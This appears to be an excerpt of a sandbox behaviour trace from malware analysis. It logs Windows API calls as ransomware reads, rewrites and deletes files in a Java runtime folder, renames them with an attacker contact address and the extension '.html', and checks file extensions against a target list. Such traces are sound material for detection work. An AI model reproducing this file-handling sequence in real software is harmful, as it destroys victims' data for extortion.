	[0175.584] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.bfc.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fontconfig.bfc.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0175.702] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.bfc" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fontconfig.bfc"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5b8
	[0175.875] SetFilePointerEx (in: hFile=0x5b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1
	[0175.875] SetFilePointerEx (in: hFile=0x5b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1
	[0175.875] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.bfc.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fontconfig.bfc.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x510
	[0176.026] GetLastError () returned 0x0
	[0176.026] ReadFile (in: hFile=0x5b8, lpBuffer=0x3b56020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b56020*, lpNumberOfBytesRead=0x300fecc*=0xeba, lpOverlapped=0x0) returned 1
	[0176.038] WriteFile (in: hFile=0x510, lpBuffer=0x3b56020*, nNumberOfBytesToWrite=0xec0, lpNumberOfBytesWritten=0x300fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b56020*, lpNumberOfBytesWritten=0x300fc94*=0xec0, lpOverlapped=0x0) returned 1
	[0176.039] ReadFile (in: hFile=0x5b8, lpBuffer=0x3b56020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b56020*, lpNumberOfBytesRead=0x300fecc*=0x0, lpOverlapped=0x0) returned 1
	[0176.039] WriteFile (in: hFile=0x510, lpBuffer=0x3b56020*, nNumberOfBytesToWrite=0xf0, lpNumberOfBytesWritten=0x300fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b56020*, lpNumberOfBytesWritten=0x300fc94*=0xf0, lpOverlapped=0x0) returned 1
	[0176.039] SetEndOfFile (hFile=0x510) returned 1
	[0176.039] CloseHandle (hObject=0x510) returned 1
	[0176.039] SetFilePointerEx (in: hFile=0x5b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1
	[0176.039] SetEndOfFile (hFile=0x5b8) returned 1
	[0176.051] CloseHandle (hObject=0x5b8) returned 1
	[0176.051] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.bfc.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x20) returned 1
	[0176.061] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.bfc" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fontconfig.bfc")) returned 1
	[0176.341] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.bfc") returned 53
	[0176.341] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.bfc") returned 53
	[0176.341] lstrlenW (lpString=".doc") returned 4
	[0176.341] lstrcmpiW (lpString1=".doc", lpString2=".bfc") returned 1
	[0176.341] lstrlenW (lpString=".docx") returned 5
	[0176.341] lstrcmpiW (lpString1=".docx", lpString2="g.bfc") returned -1
	[0176.341] lstrlenW (lpString=".pdf") returned 4
	[0176.341] lstrcmpiW (lpString1=".pdf", lpString2=".bfc") returned 1
	[0176.341] lstrlenW (lpString=".xls") returned 4
	[0176.358] lstrcmpiW (lpString1=".xls", lpString2=".bfc") returned 1
	[0176.358] lstrlenW (lpString=".xlsx") returned 5
	[0176.358] lstrcmpiW (lpString1=".xlsx", lpString2="g.bfc") returned -1
	[0176.358] lstrlenW (lpString=".ppt") returned 4
	[0176.358] lstrcmpiW (lpString1=".ppt", lpString2=".bfc") returned 1
	[0176.358] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.bfc") returned 53
	[0176.358] lstrlenW (lpString=".zip") returned 4
	[0176.358] lstrcmpiW (lpString1=".zip", lpString2=".bfc") returned 1
	[0176.358] lstrlenW (lpString=".rar") returned 4
	[0176.358] lstrcmpiW (lpString1=".rar", lpString2=".bfc") returned 1
	[0176.358] lstrlenW (lpString=".bz2") returned 4
	[0176.358] lstrcmpiW (lpString1=".bz2", lpString2=".bfc") returned 1
	[0176.358] lstrlenW (lpString=".7z") returned 3
	[0176.358] lstrcmpiW (lpString1=".7z", lpString2="bfc") returned -1
	[0176.358] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.bfc") returned 53
	[0176.358] lstrlenW (lpString=".dbf") returned 4
	[0176.358] lstrcmpiW (lpString1=".dbf", lpString2=".bfc") returned 1
	[0176.358] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.bfc") returned 53
	[0176.358] lstrlenW (lpString=".1cd") returned 4
	[0176.358] lstrcmpiW (lpString1=".1cd", lpString2=".bfc") returned -1
	[0176.358] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.bfc") returned 53
	[0176.358] lstrlenW (lpString=".jpg") returned 4
	[0176.358] lstrcmpiW (lpString1=".jpg", lpString2=".bfc") returned 1
	[0176.359] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.bfc") returned 53
	[0176.359] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.bfc") returned 53
	[0176.359] lstrlenW (lpString=".doc") returned 4
	[0176.359] lstrcmpiW (lpString1=".doc", lpString2=".bfc") returned 1
	[0176.359] lstrlenW (lpString=".docx") returned 5
	[0176.359] lstrcmpiW (lpString1=".docx", lpString2="g.bfc") returned -1
	[0176.359] lstrlenW (lpString=".pdf") returned 4
	[0176.359] lstrcmpiW (lpString1=".pdf", lpString2=".bfc") returned 1
	[0176.359] lstrlenW (lpString=".xls") returned 4
	[0176.359] lstrcmpiW (lpString1=".xls", lpString2=".bfc") returned 1
	[0176.359] lstrlenW (lpString=".xlsx") returned 5
	[0176.359] lstrcmpiW (lpString1=".xlsx", lpString2="g.bfc") returned -1
	[0176.359] lstrlenW (lpString=".ppt") returned 4
	[0176.359] lstrcmpiW (lpString1=".ppt", lpString2=".bfc") returned 1
	[0176.359] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.bfc") returned 53
	[0176.359] lstrlenW (lpString=".zip") returned 4
	[0176.359] lstrcmpiW (lpString1=".zip", lpString2=".bfc") returned 1
	[0176.359] lstrlenW (lpString=".rar") returned 4
	[0176.359] lstrcmpiW (lpString1=".rar", lpString2=".bfc") returned 1
	[0176.359] lstrlenW (lpString=".bz2") returned 4
	[0176.359] lstrcmpiW (lpString1=".bz2", lpString2=".bfc") returned 1
	[0176.359] lstrlenW (lpString=".7z") returned 3
	[0176.359] lstrcmpiW (lpString1=".7z", lpString2="bfc") returned -1
	[0176.359] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.bfc") returned 53
	[0176.359] lstrlenW (lpString=".dbf") returned 4
	[0176.359] lstrcmpiW (lpString1=".dbf", lpString2=".bfc") returned 1
	[0176.359] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.bfc") returned 53
	[0176.359] lstrlenW (lpString=".1cd") returned 4
	[0176.359] lstrcmpiW (lpString1=".1cd", lpString2=".bfc") returned -1
	[0176.359] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.bfc") returned 53
	[0176.359] lstrlenW (lpString=".jpg") returned 4
	[0176.360] lstrcmpiW (lpString1=".jpg", lpString2=".bfc") returned 1
	[0176.360] lstrcmpiW (lpString1=".ttf", lpString2=".html") returned 1
	[0176.360] lstrlenW (lpString="LucidaTypewriterBold.ttf") returned 24
	[0176.360] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaTypewriterBold.ttf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidatypewriterbold.ttf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554
	[0176.360] GetFileSizeEx (in: hFile=0x554, lpFileSize=0x300ff14 | out: lpFileSize=0x300ff14*=234068) returned 1
	[0176.361] CloseHandle (hObject=0x554) returned 1
	[0176.361] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaTypewriterBold.ttf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidatypewriterbold.ttf")) returned 0x20
	[0176.361] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaTypewriterBold.ttf.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidatypewriterbold.ttf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0176.361] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaTypewriterBold.ttf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidatypewriterbold.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554
	[0176.361] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1
	[0176.361] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1
	[0176.361] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaTypewriterBold.ttf.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidatypewriterbold.ttf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5b4
	[0176.362] GetLastError () returned 0x0
	[0176.362] ReadFile (in: hFile=0x554, lpBuffer=0x3b56020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b56020*, lpNumberOfBytesRead=0x300fecc*=0x39254, lpOverlapped=0x0) returned 1
	[0176.371] WriteFile (in: hFile=0x5b4, lpBuffer=0x3b56020*, nNumberOfBytesToWrite=0x39260, lpNumberOfBytesWritten=0x300fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b56020*, lpNumberOfBytesWritten=0x300fc94*=0x39260, lpOverlapped=0x0) returned 1
	[0176.377] ReadFile (in: hFile=0x554, lpBuffer=0x3b56020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b56020*, lpNumberOfBytesRead=0x300fecc*=0x0, lpOverlapped=0x0) returned 1
	[0176.377] WriteFile (in: hFile=0x5b4, lpBuffer=0x3b56020*, nNumberOfBytesToWrite=0x104, lpNumberOfBytesWritten=0x300fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b56020*, lpNumberOfBytesWritten=0x300fc94*=0x104, lpOverlapped=0x0) returned 1
	[0176.377] SetEndOfFile (hFile=0x5b4) returned 1
	[0176.377] CloseHandle (hObject=0x5b4) returned 1
	[0176.377] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1
	[0176.377] SetEndOfFile (hFile=0x554) returned 1
	[0176.384] CloseHandle (hObject=0x554) returned 1
	[0176.384] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaTypewriterBold.ttf.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x20) returned 1
	[0176.385] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaTypewriterBold.ttf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidatypewriterbold.ttf")) returned 1
	[0176.386] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaTypewriterBold.ttf") returned 69
	[0176.386] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaTypewriterBold.ttf") returned 69
	[0176.386] lstrlenW (lpString=".doc") returned 4
	[0176.386] lstrcmpiW (lpString1=".doc", lpString2=".ttf") returned -1
	[0176.386] lstrlenW (lpString=".docx") returned 5
	[0176.386] lstrcmpiW (lpString1=".docx", lpString2="d.ttf") returned -1
	[0176.386] lstrlenW (lpString=".pdf") returned 4
	[0176.386] lstrcmpiW (lpString1=".pdf", lpString2=".ttf") returned -1
	[0176.386] lstrlenW (lpString=".xls") returned 4
	[0176.386] lstrcmpiW (lpString1=".xls", lpString2=".ttf") returned 1
	[0176.386] lstrlenW (lpString=".xlsx") returned 5
	[0176.386] lstrcmpiW (lpString1=".xlsx", lpString2="d.ttf") returned -1
	[0176.386] lstrlenW (lpString=".ppt") returned 4
	[0176.386] lstrcmpiW (lpString1=".ppt", lpString2=".ttf") returned -1
	[0176.386] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaTypewriterBold.ttf") returned 69
	[0176.386] lstrlenW (lpString=".zip") returned 4
	[0176.386] lstrcmpiW (lpString1=".zip", lpString2=".ttf") returned 1
	[0176.386] lstrlenW (lpString=".rar") returned 4
	[0176.386] lstrcmpiW (lpString1=".rar", lpString2=".ttf") returned -1
	[0176.386] lstrlenW (lpString=".bz2") returned 4
	[0176.386] lstrcmpiW (lpString1=".bz2", lpString2=".ttf") returned -1
	[0176.386] lstrlenW (lpString=".7z") returned 3
	[0176.386] lstrcmpiW (lpString1=".7z", lpString2="ttf") returned -1
	[0176.386] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaTypewriterBold.ttf") returned 69
	[0176.386] lstrlenW (lpString=".dbf") returned 4
	[0176.386] lstrcmpiW (lpString1=".dbf", lpString2=".ttf") returned -1
	[0176.386] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaTypewriterBold.ttf") returned 69
	[0176.386] lstrlenW (lpString=".1cd") returned 4
	[0176.386] lstrcmpiW (lpString1=".1cd", lpString2=".ttf") returned -1
	[0176.387] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaTypewriterBold.ttf") returned 69
	[0176.387] lstrlenW (lpString=".jpg") returned 4
	[0176.387] lstrcmpiW (lpString1=".jpg", lpString2=".ttf") returned -1
	[0176.387] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaTypewriterBold.ttf") returned 69
	[0176.387] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaTypewriterBold.ttf") returned 69
	[0176.387] lstrlenW (lpString=".doc") returned 4
	[0176.387] lstrcmpiW (lpString1=".doc", lpString2=".ttf") returned -1
	[0176.387] lstrlenW (lpString=".docx") returned 5
	[0176.387] lstrcmpiW (lpString1=".docx", lpString2="d.ttf") returned -1
	[0176.387] lstrlenW (lpString=".pdf") returned 4
	[0176.387] lstrcmpiW (lpString1=".pdf", lpString2=".ttf") returned -1
	[0176.387] lstrlenW (lpString=".xls") returned 4
	[0176.387] lstrcmpiW (lpString1=".xls", lpString2=".ttf") returned 1
	[0176.387] lstrlenW (lpString=".xlsx") returned 5
	[0176.387] lstrcmpiW (lpString1=".xlsx", lpString2="d.ttf") returned -1
	[0176.387] lstrlenW (lpString=".ppt") returned 4
	[0176.387] lstrcmpiW (lpString1=".ppt", lpString2=".ttf") returned -1
	[0176.387] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaTypewriterBold.ttf") returned 69
	[0176.387] lstrlenW (lpString=".zip") returned 4
	[0176.387] lstrcmpiW (lpString1=".zip", lpString2=".ttf") returned 1
	[0176.387] lstrlenW (lpString=".rar") returned 4
	[0176.387] lstrcmpiW (lpString1=".rar", lpString2=".ttf") returned -1
	[0176.387] lstrlenW (lpString=".bz2") returned 4
	[0176.387] lstrcmpiW (lpString1=".bz2", lpString2=".ttf") returned -1
	[0176.387] lstrlenW (lpString=".7z") returned 3
	[0176.387] lstrcmpiW (lpString1=".7z", lpString2="ttf") returned -1
	[0176.387] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaTypewriterBold.ttf") returned 69
	[0176.387] lstrlenW (lpString=".dbf") returned 4
	[0176.387] lstrcmpiW (lpString1=".dbf", lpString2=".ttf") returned -1
	[0176.388] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaTypewriterBold.ttf") returned 69
	[0176.388] lstrlenW (lpString=".1cd") returned 4
	[0176.388] lstrcmpiW (lpString1=".1cd", lpString2=".ttf") returned -1
	[0176.388] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaTypewriterBold.ttf") returned 69
	[0176.388] lstrlenW (lpString=".jpg") returned 4
	[0176.388] lstrcmpiW (lpString1=".jpg", lpString2=".ttf") returned -1
	[0176.388] lstrcmpiW (lpString1=".ttf", lpString2=".html") returned 1
	[0176.388] lstrlenW (lpString="LucidaTypewriterRegular.ttf") returned 27
	[0176.388] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaTypewriterRegular.ttf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidatypewriterregular.ttf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554
	[0176.389] GetFileSizeEx (in: hFile=0x554, lpFileSize=0x300ff14 | out: lpFileSize=0x300ff14*=242700) returned 1
	[0176.389] CloseHandle (hObject=0x554) returned 1
	[0176.389] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaTypewriterRegular.ttf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidatypewriterregular.ttf")) returned 0x20
	[0176.389] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaTypewriterRegular.ttf.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidatypewriterregular.ttf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0176.803] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaTypewriterRegular.ttf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidatypewriterregular.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5b4
	[0177.074] SetFilePointerEx (in: hFile=0x5b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1
	[0177.074] SetFilePointerEx (in: hFile=0x5b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1
	[0177.074] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaTypewriterRegular.ttf.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidatypewriterregular.ttf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x514
	[0177.285] GetLastError () returned 0x0
	[0177.285] ReadFile (in: hFile=0x5b4, lpBuffer=0x3b56020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b56020*, lpNumberOfBytesRead=0x300fecc*=0x3b40c, lpOverlapped=0x0) returned 1
	[0177.294] WriteFile (in: hFile=0x514, lpBuffer=0x3b56020*, nNumberOfBytesToWrite=0x3b410, lpNumberOfBytesWritten=0x300fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b56020*, lpNumberOfBytesWritten=0x300fc94*=0x3b410, lpOverlapped=0x0) returned 1
	[0177.299] ReadFile (in: hFile=0x5b4, lpBuffer=0x3b56020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b56020*, lpNumberOfBytesRead=0x300fecc*=0x0, lpOverlapped=0x0) returned 1
	[0177.299] WriteFile (in: hFile=0x514, lpBuffer=0x3b56020*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x300fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b56020*, lpNumberOfBytesWritten=0x300fc94*=0x10a, lpOverlapped=0x0) returned 1
	[0177.299] SetEndOfFile (hFile=0x514) returned 1
	[0177.299] CloseHandle (hObject=0x514) returned 1
	[0177.300] SetFilePointerEx (in: hFile=0x5b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1
	[0177.300] SetEndOfFile (hFile=0x5b4) returned 1
	[0177.306] CloseHandle (hObject=0x5b4) returned 1
	[0177.306] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaTypewriterRegular.ttf.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x20) returned 1
	[0177.308] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaTypewriterRegular.ttf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidatypewriterregular.ttf")) returned 1
	[0177.309] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaTypewriterRegular.ttf") returned 72
	[0177.309] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaTypewriterRegular.ttf") returned 72
	[0177.309] lstrlenW (lpString=".doc") returned 4
	[0177.309] lstrcmpiW (lpString1=".doc", lpString2=".ttf") returned -1
	[0177.309] lstrlenW (lpString=".docx") returned 5
	[0177.309] lstrcmpiW (lpString1=".docx", lpString2="r.ttf") returned -1
	[0177.309] lstrlenW (lpString=".pdf") returned 4
	[0177.309] lstrcmpiW (lpString1=".pdf", lpString2=".ttf") returned -1
	[0177.309] lstrlenW (lpString=".xls") returned 4
	[0177.309] lstrcmpiW (lpString1=".xls", lpString2=".ttf") returned 1
	[0177.309] lstrlenW (lpString=".xlsx") returned 5
	[0177.309] lstrcmpiW (lpString1=".xlsx", lpString2="r.ttf") returned -1
	[0177.309] lstrlenW (lpString=".ppt") returned 4
	[0177.309] lstrcmpiW (lpString1=".ppt", lpString2=".ttf") returned -1
	[0177.310] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaTypewriterRegular.ttf") returned 72
	[0177.310] lstrlenW (lpString=".zip") returned 4
	[0177.310] lstrcmpiW (lpString1=".zip", lpString2=".ttf") returned 1
	[0177.310] lstrlenW (lpString=".rar") returned 4
	[0177.310] lstrcmpiW (lpString1=".rar", lpString2=".ttf") returned -1
	[0177.310] lstrlenW (lpString=".bz2") returned 4
	[0177.310] lstrcmpiW (lpString1=".bz2", lpString2=".ttf") returned -1
	[0177.310] lstrlenW (lpString=".7z") returned 3
	[0177.310] lstrcmpiW (lpString1=".7z", lpString2="ttf") returned -1
	[0177.310] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaTypewriterRegular.ttf") returned 72
	[0177.310] lstrlenW (lpString=".dbf") returned 4
	[0177.310] lstrcmpiW (lpString1=".dbf", lpString2=".ttf") returned -1
	[0177.310] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaTypewriterRegular.ttf") returned 72
	[0177.310] lstrlenW (lpString=".1cd") returned 4
	[0177.310] lstrcmpiW (lpString1=".1cd", lpString2=".ttf") returned -1
	[0177.310] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaTypewriterRegular.ttf") returned 72
	[0177.310] lstrlenW (lpString=".jpg") returned 4
	[0177.310] lstrcmpiW (lpString1=".jpg", lpString2=".ttf") returned -1
	[0177.310] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaTypewriterRegular.ttf") returned 72
	[0177.310] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaTypewriterRegular.ttf") returned 72
	[0177.310] lstrlenW (lpString=".doc") returned 4
	[0177.310] lstrcmpiW (lpString1=".doc", lpString2=".ttf") returned -1
	[0177.310] lstrlenW (lpString=".docx") returned 5
	[0177.310] lstrcmpiW (lpString1=".docx", lpString2="r.ttf") returned -1
	[0177.310] lstrlenW (lpString=".pdf") returned 4
	[0177.310] lstrcmpiW (lpString1=".pdf", lpString2=".ttf") returned -1
	[0177.310] lstrlenW (lpString=".xls") returned 4
	[0177.310] lstrcmpiW (lpString1=".xls", lpString2=".ttf") returned 1
	[0177.310] lstrlenW (lpString=".xlsx") returned 5
	[0177.310] lstrcmpiW (lpString1=".xlsx", lpString2="r.ttf") returned -1
	[0177.310] lstrlenW (lpString=".ppt") returned 4
	[0177.311] lstrcmpiW (lpString1=".ppt", lpString2=".ttf") returned -1
	[0177.311] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaTypewriterRegular.ttf") returned 72
	[0177.311] lstrlenW (lpString=".zip") returned 4
	[0177.311] lstrcmpiW (lpString1=".zip", lpString2=".ttf") returned 1
	[0177.311] lstrlenW (lpString=".rar") returned 4
	[0177.311] lstrcmpiW (lpString1=".rar", lpString2=".ttf") returned -1
	[0177.332] lstrlenW (lpString=".bz2") returned 4
	[0177.332] lstrcmpiW (lpString1=".bz2", lpString2=".ttf") returned -1
	[0177.332] lstrlenW (lpString=".7z") returned 3
	[0177.332] lstrcmpiW (lpString1=".7z", lpString2="ttf") returned -1
	[0177.332] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaTypewriterRegular.ttf") returned 72
	[0177.332] lstrlenW (lpString=".dbf") returned 4
	[0177.332] lstrcmpiW (lpString1=".dbf", lpString2=".ttf") returned -1
	[0177.332] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaTypewriterRegular.ttf") returned 72
	[0177.332] lstrlenW (lpString=".1cd") returned 4
	[0177.332] lstrcmpiW (lpString1=".1cd", lpString2=".ttf") returned -1
	[0177.332] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaTypewriterRegular.ttf") returned 72
	[0177.332] lstrlenW (lpString=".jpg") returned 4
	[0177.332] lstrcmpiW (lpString1=".jpg", lpString2=".ttf") returned -1
	[0177.332] lstrcmpiW (lpString1=".jar", lpString2=".html") returned 1
	[0177.332] lstrlenW (lpString="javaws.jar") returned 10
	[0177.332] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\javaws.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\javaws.jar"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5b4
	[0177.334] GetFileSizeEx (in: hFile=0x5b4, lpFileSize=0x300ff14 | out: lpFileSize=0x300ff14*=944167) returned 1
	[0177.334] CloseHandle (hObject=0x5b4) returned 1
	[0177.334] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\javaws.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\javaws.jar")) returned 0x20
